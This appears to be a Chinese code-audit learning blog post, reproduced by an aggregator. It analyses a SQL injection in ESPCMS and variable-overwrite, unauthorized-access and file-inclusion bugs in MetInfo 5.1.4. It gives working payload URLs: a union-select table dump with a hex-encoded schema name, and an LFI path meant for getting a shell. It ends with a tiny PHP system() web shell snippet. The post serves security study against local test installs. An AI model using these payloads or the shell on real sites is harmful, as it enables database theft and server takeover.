3

php代码审计学习-4

 2 years ago
source link: https://antipassion.github.io/2021/10/26/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0-4/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

espcms 审计

资源下载:http://down.chinaz.com/soft/27695.htm

解压安装后,利用esay审计系统进行自动化审计,筛选可疑语句。

看到一处普通的sql查询语句,右键跟进打开文件

可以看到,SQL查询在一个类的自定义函数oncitylist之内

<?php

/*
PHP version 5
Copyright (c) 2002-2010 ECISP.CN
声明:这不是一个免费的软件,请在许可范围内使用
作者:Bili E-mail:[email protected] QQ:6326420
http://www.ecisp.cn http://www.easysitepm.com
*/

class important extends connector {

function important() {
$this->softbase(true);
}

function oncitylist() {
$parentid = $this->fun->accept('parentid', 'R');
$parentid = empty($parentid) ? 1 : $parentid;
$verid = $this->fun->accept('verid', 'R');
$verid = empty($verid) ? 0 : $verid;
$db_table = db_prefix . 'city';
$sql = "select * from $db_table where parentid=$parentid";
$rs = $this->db->query($sql);
for ($i = 0; $rsList = $this->db->fetch_array($rs); $i++) {
if ($verid == $rsList['id']) {
$list.='<option selected value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
} else {
$list.='<option value="' . $rsList['id'] . '">' . $rsList['cityname'] . '</option>';
}
}
exit($list);
}

}
?>

其中sql语句中有两个变量,$db_table 这个变量尚未发现可修改点,$parentid 由accept函数进行处理,右键定位函数查看实现。

选项id2的accept函数,id1为安装cms时所用。

image-20211026150513549

function accept($k, $var='R', $htmlcode=true, $rehtml=false) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}

根据代码可知,accept()接受的第二个参数决定parentid是否可以接受$_GET 或 $_POST的值。

accept('verid', 'R'); 可知第二个参数为R,R变量也就在accept中获得了$_GET的内存地址,也就是说R变量相当于$_GET,若$R[‘verid’] $_GET方式获得的值为空的话,则去POST请求处取值。

也就是说当accept第二个参数为R时,accept的第一个参数verid可以接受POST或GET请求的值。

image-20211026152610244

随后参数经过daddslashes的处理,右键跟进可知,此处递归处理字符串,避免双引号,反斜线的出现造成sql注入等问题;但我们刚才拿到的citylist.php处为无符号sql,查询引号问题也可用16进制避免,因此此处防护无效。

image-20211026152638025

function daddslashes($string, $force=0, $strip=FALSE) {
if (!get_magic_quotes_gpc() || $force == 1) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = addslashes($strip ? stripslashes($val) : $val);
}
} else {
$string = addslashes($strip ? stripslashes($string) : $string);
}
}
return $string;
}

最后经过html编码处理,return回到citylist.php,此时,若是将类实例化,我们便可以通过POST或GET方式对parentid进行传参。

查询类important ,可以看到其在index.php内进行实例化操作,跟进审计。

image-20211026152938912

$point = indexget('point', 'R');
$point = empty($point) ? 'admin' : $point;
$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;
$soft_MOD = array('admin', 'public', 'product', 'forum', 'filemanage', 'basebook', 'member', 'order', 'other', 'news', 'inc', 'cache', 'bann', 'logs', 'template');
if (in_array($point, $soft_MOD)) {
include admin_ROOT . adminfile . "/control/$archive.php";
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
exit('错误:系统方法错误!');
}
} else {
exit('错误:系统对象错误');
}

function indexget($k, $var='R', $htmlcode=true) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
$putvalue = isset($var[$k]) ? indexdaddslashes($var[$k], 0) : NULL;
return $htmlcode ? indexhtmldecode($putvalue) : $putvalue;
}

不难发现pointarchiveaction 都经过了indexget处理,专项indexget()方法可知,此方法就是在citylist中的accept,函数用法什么的都一个样,其中$Point的值需要在数组soft_MOD内,$archive需要为citylist,这样才能成功在下面的语句中将citylist.php页面包含 ,$action 值需要为citylist,这样才可被拼接,成功调用oncitylist方法,成功执行sql语句

由此构建payload:

此处point可不填,默认会被指为admin,也在soft_mod组内

http://127.0.0.1/cms/adminsoft/index.php?point=basebook&archive=citylist&action=citylist&parentid=1

image-20211026154542193

进行sql注入测试:

爆表爆字段时,需要引号括起数据库、表名时可用16进制绕过daddslashes对特殊字符的转义处理。

http://127.0.0.1/cms/adminsoft/index.php?point=basebook&archive=citylist&action=citylist&parentid=-1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x657370636D73

image-20211026155204670

MeInfo 5.1.4漏洞审计

1.未授权访问

http://127.0.0.1/meInfo/admin/app/physical/standard.php

image-20211027102145398

2.文件包含漏洞

安装MetInfo5.1.4版本

image-20211027113702048

利用esay检查可疑点,可以看到提示此处可能存在变量覆盖,双击进入php文件进行审计

image-20211027114139562

此处放出漏洞点


foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}

1.在common.inc.php中,利用第一层foreach循环,将_COOKIE、_POST、_GET的值传给$_reuqest变量;

2.第二层foreach循环,将$$_request也就是$_GET、$_POST、$_COOKIE超全局变量中的键与值拆分成$_key 与 $_value形式拿到相应类型请求的变量名与变量值;

3.利用$_key{0} != '_' && $$_key = daddslashes($_value); 来判$key有是否是超全局变量(比如说_SERVER这种),不是则对变量值进行递归的addslashes处理。

getshell思路

此处我们可以利用这一流程,通过cookie、get、post的请求方式,进行变量覆盖操作,若想要getshell,我们首先需要先找到一个包含了common.inc.php的php文件,并且该文件的变量我们可以通过$$变量覆盖,从而操纵sql语句或配合文件上传或日志文件对文件包含进行操作从而getshell。

利用全局搜索功能,搜索包含了common.inc.php的文件,找到合适目标/include/module.php

<?php
require_once 'common.inc.php';
$modulefname[1] = array(0=>'show.php',1=>'show.php',2=>$met_column);
$modulefname[2] = array(0=>'news.php',1=>'shownews.php',2=>$met_news);
$modulefname[3] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[4] = array(0=>'download.php',1=>'showdownload.php',2=>$met_download);
$modulefname[5] = array(0=>'img.php',1=>'showimg.php',2=>$met_img);
$modulefname[6] = array(0=>'job.php',1=>'showjob.php',2=>$met_job);
$modulefname[8] = array(0=>'feedback.php',1=>'feedback.php',2=>$met_column);
$modulefname[100] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[101] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
if(isset($metid) && $met_pseudo){
/*if(is_numeric($metid)){
if($list){
}else{
$modulelang=$lang?$lang:$met_index_type;
$numerok = $db->get_one("SELECT * FROM $met_column WHERE foldername='$filpy' and (bigclass='0' or releclass!='0') and module<100 and lang='$modulelang'");
}
}else{
$dname = is_numeric($metid)?"id=$metid":"filename='$metid'";
}*/
$dname = is_numeric($metid)?"id=$metid":"filename='$metid'";
if($list){/*��ֹ������*/
$anyone = $db->get_one("SELECT * FROM $met_column WHERE $dname and lang ='$lang'");
if(!is_array($anyone)){
$metids=explode('-',$metid);
$metidcount=count($metids)-1;
$page=$metids[$metidcount];
$metid='';
foreach($metids as $keymetid=>$valmetid){
if($keymetid!=$metidcount){
$metid.=$valmetid.'-';
}
}
if(!$metid||!$page){okinfo('../404.html');exit();}
$metid=rtrim($metid,'-');
$dname = is_numeric($metid)?"id=$metid":"filename='$metid'";
$anyone = $db->get_one("SELECT * FROM $met_column WHERE $dname and lang ='$lang'");
}
if(!is_array($anyone) && is_numeric($metid)){
$dname = "filename='$metid'";
$anyone = $db->get_one("SELECT * FROM $met_column WHERE $dname and lang ='$lang'");
}
if(!is_array($anyone)){okinfo('../404.html');exit();}
if($anyone['releclass']){
$class1=$metid;
}
else{
if($anyone['classtype']==1)$class1= $anyone['id'];
if($anyone['classtype']==2)$class2= $anyone['id'];
if($anyone['classtype']==3)$class3= $anyone['id'];

}
$mdle = $anyone['module'];
$mdtp = '0';
$lang = $anyone['lang'];
}else{
$anybody = $db->get_one("SELECT * FROM $met_column WHERE foldername='$filpy' and lang='$lang'");
$danmy = $modulefname[$anybody['module']][2];
if($anybody['module']==8)$metid=$anybody['id'];
$anyone = $db->get_one("SELECT * FROM $danmy WHERE $dname and lang ='$lang'");
if(!$anyone && is_numeric($metid)){
$dname = "filename='$metid'";
$anyone = $db->get_one("SELECT * FROM $danmy WHERE $dname and lang ='$lang'");
}
$mdtp = '1';
$id = $anybody['module']==8?$anybody['id']:$anyone['id'];
$mdle = $anybody['module'];
}
}else{
$modulelang=$lang?$lang:$met_index_type;
$query="SELECT * FROM $met_column WHERE foldername='$filpy' and (bigclass='0' or releclass!='0') and module<100 and lang='$modulelang'";
$anyone = $db->get_one($query);
$class1 = $anyone['id'];
$mdle = $anyone['module'];
$mdtp = '0';
}
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}
?>

可以看到在代码中,存在$module,对文件进行了包含,并且在整个php文件中存在多处if于exit()通过审计可知,绕过payload:

?fmodule=7&module=./123.txt #于include目录提前准备好了一个123.txt

跟踪包含/include/module的文件,发现利用点文件:/about/index.php

image-20211027124207361

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

构造payload:

?fmodule=7&module=../include/123.txt

image-20211027124459419

至此,成功包含文件执行,可配合日志文件写shell或文件上传图片马getshell.

<?php 
$b = $_GET['whoami'];
$b = system($B);

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK